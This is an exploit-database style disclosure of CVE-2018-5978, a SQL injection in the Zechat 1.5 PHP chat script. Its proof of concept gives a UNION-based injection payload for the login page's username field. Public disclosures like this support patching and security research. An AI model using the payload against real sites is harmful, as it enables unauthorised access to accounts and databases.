Zechat 1.5 - SQL Injection

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# Exploit Title: Facebook Style Php Ajax Chat - Zechat 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/facebook-style-php-ajax-chat-zechat/16491266
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5978
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# 1)
# http://localhost/[PATH]/login.php
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# User: ' UNION ALL SELECT 0x31,0x32,0x33,concat(0x63)-- A
# Pass: anything
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